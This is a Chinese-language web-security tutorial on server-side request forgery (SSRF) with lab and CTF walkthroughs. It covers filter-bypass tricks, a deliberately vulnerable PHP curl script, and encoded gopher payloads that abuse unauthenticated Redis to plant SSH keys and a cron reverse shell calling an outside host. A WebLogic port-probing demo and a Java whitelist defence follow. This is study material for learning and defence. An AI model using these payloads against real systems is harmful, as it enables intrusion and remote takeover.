本文由紅日安全成員: MisakiKata 編寫,若有不當,還望斧正。php
你們好,咱們是紅日安全-Web安全***小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供你們練習,咱們給這個項目起了一個名字叫 Web安全實戰 ,但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們,一塊兒完善這個項目,歡迎經過郵件形式(sec-redclub@qq.com)聯繫咱們。html
***F(Server-Side Request Forgery:服務器端請求僞造) 是一種利用漏洞僞造服務器端發起請求。通常狀況下,***F***的目標是從外網沒法訪問的內部系統。java
經過控制功能中的發起請求的服務來看成跳板***內網中其餘服務。好比,經過控制前臺的請求遠程地址加載的響應,來讓請求數據由遠程的URL域名修改成請求本地、或者內網的IP地址及服務,來形成對內網系統的***。git
假設一個漏洞場景:某網站有一個在線加載功能能夠把指定的遠程圖片加載到本地,功能連接以下:github
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
那麼網站請求的大概步驟應該是相似如下:web
用戶輸入圖片地址->請求發送到服務端解析->服務端請求連接地址的圖片數據->獲取請求的數據加載到前臺顯示。redis
這個過程當中可能出現問題的點就在於請求發送到服務端的時候,系統沒有效驗前臺給定的參數是否是容許訪問的地址域名,例如,如上的連接能夠修改成:docker
http://www.xxx.com/image.php?image=http://127.0.0.1:22
如上請求時則可能返回請求的端口banner。若是協議容許,甚至可使用其餘協議來讀取和執行相關命令。例如shell
http://www.xxx.com/image.php?image=file:///etc/passwd http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict能夠向服務端口請求data data2) http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口發送數據test,一樣能夠發送POST請求) ......
對於不一樣語言實現的web系統可使用的協議也存在不一樣的差別,其中:apache
php: http、https、file、gopher、phar、dict、ftp、ssh、telnet... java: http、https、file、ftp、jar、netdoc、mailto...
判斷漏洞是否存在的重要前提是,請求的服務器發起的,以上連接即便存在並不必定表明這個請求是服務器發起的。所以前提不知足的狀況下,***F是沒必要要考慮的。
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
連接獲取後,是由js來獲取對應參數交由window.location來處理相關的請求,或者加載到當前的iframe框架中,此時並不存在***F ,由於請求是本地發起,並不能產生***服務端內網的需求。
經過url 地址分享文章,例如以下地址:
http://share.xxx.com/index.php?url=http://127.0.0.1
經過url參數的獲取來實現點擊連接的時候跳到指定的分享文章。若是在此功能中沒有對目標地址的範圍作過濾與限制則就存在着***F漏洞。
經過URL地址加載或下載圖片
http://image.xxx.com/image.php?image=http://127.0.0.1
圖片加載存在於不少的編輯器中,編輯器上傳圖片處,有的是加載遠程圖片到服務器內。還有一些採用了加載遠程圖片的形式,本地文章加載了設定好的遠程圖片服務器上的圖片地址,若是沒對加載的參數作限制可能形成***F。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title參數是文章的標題地址,表明了一個文章的地址連接,請求後返回文章是否保存,收藏的返回信息。若是保存,收藏功能採用了此種形式保存文章,則在沒有限制參數的形式下可能存在***F。
例如如下的關鍵字:
share wap url link src source target u 3g display sourceURl imageURL domain ...
部分存在漏洞,或者可能產生***F的功能中作了白名單或者黑名單的處理,來達到阻止對內網服務和資源的***和訪問。所以想要達到***F的***,須要對請求的參數地址作相關的繞過處理,常見的繞過方式以下:
能夠嘗試採用http基自己份認證的方式繞過,http://www.xxx.com@www.xxc.com。
在對@解析域名中,不一樣的處理函數存在處理差別,例如:
http://www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中會識別www.ccc.com,而libcurl則識別爲www.bbb.com。
採用短網址繞過,好比百度短地址https://dwz.cn/。
採用能夠指向任意域名的xip.io,127.0.0.1.xip.io,能夠解析爲127.0.0.1
採用進制轉換,127.0.0.1八進制:0177.0.0.1。十六進制:0x7f.0.0.1。十進制:2130706433
採用302跳轉,百度短地址,或者使用https://tinyurl.com生成302跳轉地址。使用以下:
其餘繞過形式能夠查看:https://www.secpulse.com/archives/65832.html
PHP腳本、Windows
bash、nc
首先採用以下腳本建立一個PHP的服務端
<?PHP $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
開啓PHP的web環境,訪問http://localhost/***f.php?url=,頁面顯示正常便可。在一個bash中開啓監聽端口,來模仿即將被***F到的內網服務,此處採用nc。
瀏覽器訪問以下連接:http://localhost/***f.php?url=http://127.0.0.1:2233
。監聽端能夠看到來自localhost的請求,請求目標爲127.0.0.1的2233端口。
使用gopher協議來查看協議,訪問:http://localhost/***f.php?url=gopher://127.0.0.1:2233/_test
利用gopher發送POST的請求,訪問:http://localhost/***f.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
以上方式簡單的展現了***F的***過程和請求,下面咱們使用回顯形***F。
漏洞環境:Ubuntu 1八、 docker 、PHP、Apache
漏洞文件地址:https://github.com/nikosdano/***F-Vulnerable-with-Curl
下載文件放入apache服務器中,訪問http://192.168.120.132/awesome_script.php
在其中咱們能夠填寫想要執行的***F命令,如填寫file:///etc/passwd
,回顯爲:
嘗試端口探測,對22端口進行探測是否開啓:
截至到此,相信對***F已經有了一個簡單認識和檢測,下面咱們利用一個靶場來模擬一個完整的真實的***F***。
Rootme CTF all the day
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
Burp
***F+redis 獲取內網主機權限,利用***F來對redis的未受權訪問執行命令。從而達到獲取主機權限的目的
訪問目標地址,若是沒有帳號,須要建立帳號點擊右上的綠色小加號來建立帳號,建立完成後回到此頁面。
找到一個處於none的虛擬機,點擊房間名,以下的ctf04
進入房間後,選擇須要建立的虛擬機,選擇***F Box,點擊保存,選擇start the game。
過一段時間的等待後,會顯示以下信息。
訪問 ctf04.root-me.org 就能夠看到啓動的虛擬環境了
固然,若是在建立虛擬機以前,看到其餘的房間有人已經建立了***F Box咱們也能夠加入此玩家的房間,點擊房間名,進入房間後點擊右上角的Join the game。稍等片刻就能夠加入到遊戲中,根據提示訪問對應的地址就能夠開始測試啦。
訪問地址後能夠看到頁面顯示一個輸入框,須要輸入url參數,開始抓包。
嘗試在頁面輸入百度地址後,頁面會把百度首頁加載進此頁面中。
讀取系統文件:
使用burp的Intruder模塊,來探測開放的服務端口,開放則顯示OK,不開放則顯示Connection refused。
探測可知內網開放了6379端口redis服務,嘗試利用***F對redis執行未受權漏洞,此處簡單科普一下redis漏洞影響。
詳細內容能夠查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默認狀況下,會綁定在 0.0.0.0:6379,若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。
所以,此漏洞在沒有配置密碼的狀況下能夠利用***F來繞過綁定在本地的限制,從而實如今外網***內網應用。
1)利用redis來寫ssh密鑰
此處利用ssh生成一對公私鑰,生成的默認文件爲id_rsa.pub和id_rsa。把id_rsa.pub上傳至服務器便可。咱們利用redis把目錄設置爲ssh目錄下:
根據網上寫密鑰有兩種協議可使用,一種是dict,一種是gopher。測試使用dict協議寫不成功,寫入後不能鏈接,此處使用gopher寫密鑰。
使用的payload爲:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
payload 解碼爲:
gopher://127.0.0.1:6379/_*3 $3 set $1 1 $401 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9 *4 $6 config $3 set $3 dir $11 /root/.ssh/ *4 $6 config $3 set $10 dbfilename $15 authorized_keys *1 $4 save *1 $4 quit
payload由joychou的反彈shell修改而來,主要就是替換了寫入文件的位置和文件內容。而後修改文件的長度。
而後嘗試登錄,輸入建立密鑰的密碼後,登錄成功。
2)利用redis寫定時任務來反彈shell
既然提到反彈shell,就須要利用一臺外網主機。此處使用了nc作端口監聽。
使用payload爲如下:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
解碼後的內容就是:
gopher://127.0.0.1:6379/_*3 $3 set $1 1 $61 */1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1 *4 $6 config $3 set $3 dir $16 /var/spool/cron/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save *1 $4 quit
來自:https://joychou.org/web/php***f.html
其中$61爲個人vps地址,也就是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
的字符串長度。執行後稍等片刻就能夠收到反彈的shell了。同時須要寫入的命令先後要加幾個回車。
根據前文的提示,打開/passwd文件就能夠找到flag了。
在網站頁面上輸入這一串字符,就能夠結束這場***F之旅了。
vulhub、weblogic、***f
CVE-2014-4210,weblogic的uddiexplorer.war存在安全組件漏洞,此漏洞可經過HTTP協議利用,未經身份驗證的遠程***者可利用此漏洞影響受影響組件的機密性。該漏洞的影響版本包括:10.0.2.0, 10.3.6.0
https://github.com/vulhub/vulhub/tree/master/weblogic/***f
下載vulhub後,進入對應的安裝目錄,執行docker-compose up -d
,會自動建立docker鏡像。
構建完成後訪問以下地址:
/uddiexplorer/SearchPublicRegistries.jsp
訪問以下地址時返回,表明端口未開放:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
響應能夠看到返回404,證實端口開放:
而後能夠根據遍歷查看開放的端口服務,在根據開放的服務來決定是否能不能執行內網***。而實際中越到的***F大都是探測類使用,由於能正好搭配使用的狀況,並且還能夠查看或者反彈的,機率值得討論。
jar -xvf uddiexplorer.war rm jsp-files jar -cvfM uddiexplorer.war uddiexplorer/
https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
方法調用:
String[] urlwhitelist = {"joychou.com", "joychou.me"};if (!UrlSecCheck(url, urlwhitelist)) { return;}
方法代碼:
須要先添加guava庫(目的是獲取一級域名)
<dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>21.0</version></dependency>方法實現: public static Boolean UrlSecCheck(String url, String[] urlwhitelist) { try { URL u = new URL(url); // 只容許http和https的協議 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return false; } // 獲取域名,並轉爲小寫 String host = u.getHost().toLowerCase(); // 獲取一級域名 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); for (String whiteurl: urlwhitelist){ if (rootDomain.equals(whiteurl)) { return true; } } return false; } catch (Exception e) { return false; } }